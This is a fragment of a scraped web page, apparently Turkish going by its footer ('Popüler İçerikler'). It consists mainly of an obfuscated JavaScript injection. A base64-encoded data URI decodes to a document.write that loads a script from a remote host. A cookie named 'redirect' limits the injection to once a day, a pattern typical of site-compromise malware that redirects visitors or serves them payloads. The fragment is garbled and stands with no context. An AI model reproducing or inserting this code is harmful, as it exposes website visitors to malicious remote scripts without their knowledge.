src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Popüler İçerikler

To Top